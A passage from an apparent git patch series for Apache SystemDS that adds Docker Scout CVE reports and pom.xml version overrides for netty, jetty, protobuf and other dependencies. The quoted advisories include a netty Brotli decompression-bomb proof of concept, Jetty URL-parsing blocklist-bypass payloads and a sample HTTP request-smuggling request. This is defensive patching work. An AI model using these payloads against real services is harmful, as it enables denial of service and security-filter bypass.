channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.57.v20241219 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.57.v20241219
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.109%
EPSS Percentile30th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ + +What's next: + View base image update recommendations → docker scout recommendations apache/systemds:latest + diff --git a/pom.xml b/pom.xml index 24c62a6f443..73a53bc7c8c 100644 --- a/pom.xml +++ b/pom.xml @@ -108,6 +108,11 @@ 2.4.9 9.37.4 0.27 + 4.1.124.Final + 9.4.57.v20241219 + 3.8.14.Final + 1.11.0 + 3.6.0 @@ -193,6 +198,87 @@ kerb-admin ${kerby.version} + + + io.netty + netty-codec-http2 + ${netty.version} + + + io.netty + netty-codec-http + ${netty.version} + + + io.netty + netty-codec-smtp + ${netty.version} + + + io.netty + netty-codec + ${netty.version} + + + io.netty + netty-common + ${netty.version} + + + io.netty + netty-handler + ${netty.version} + + + + org.eclipse.jetty + jetty-server + ${jetty.version} + + + org.eclipse.jetty + jetty-http + ${jetty.version} + + + org.eclipse.jetty + jetty-webapp + ${jetty.version} + + + org.eclipse.jetty + jetty-xml + ${jetty.version} + + + org.eclipse.jetty + jetty-servlets + ${jetty.version} + + + + org.jboss.xnio + xnio-api + ${xnio.version} + + + + commons-beanutils + commons-beanutils + ${commons-beanutils.version} + + + + dnsjava + dnsjava + ${dnsjava.version} + + + + com.google.protobuf + protobuf-java + ${protobuf.version} + @@ -1171,7 +1257,7 @@ io.netty netty-handler - 4.1.118.Final + ${netty.version} From bb3b80aab9276e27342bfa22a46feb0e6e855100 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Wed, 21 Jan 2026 13:17:28 +0100 Subject: [PATCH 10/31] [MINOR][SYSTEMDS-3878] Fix additional medium-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for: - org.eclipse.jetty/jetty-http@12.0.12 : CVE-2024-6763 - org.apache.commons/commons-compress@1.26.0 : CVE-2024-26308, CVE-2024-25710, CVE-2023-42503 - org.apache.commons/commons-configuration2@2.10.1 : CVE-2024-29133, CVE-2024-29131 --- .../medium-cves/sysds_output10.md | 1592 +++++++++++++++ .../medium-cves/sysds_output8.md | 1731 +++++++++++++++++ .../medium-cves/sysds_output9.md | 1637 ++++++++++++++++ pom.xml | 15 +- 4 files changed, 4974 insertions(+), 1 deletion(-) create mode 100644 docker/scout_results/medium-cves/sysds_output10.md create mode 100644 docker/scout_results/medium-cves/sysds_output8.md create mode 100644 docker/scout_results/medium-cves/sysds_output9.md diff --git a/docker/scout_results/medium-cves/sysds_output10.md b/docker/scout_results/medium-cves/sysds_output10.md new file mode 100644 index 00000000000..d1ace109786 --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output10.md @@ -0,0 +1,1592 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:436a28002134fa710cdc2c9fb6b8cd4a4e7abc085e4b97607a445898e2eec86c
vulnerabilitiescritical: 1 high: 10 medium: 26 low: 7 unspecified: 1
platformlinux/amd64
size370 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
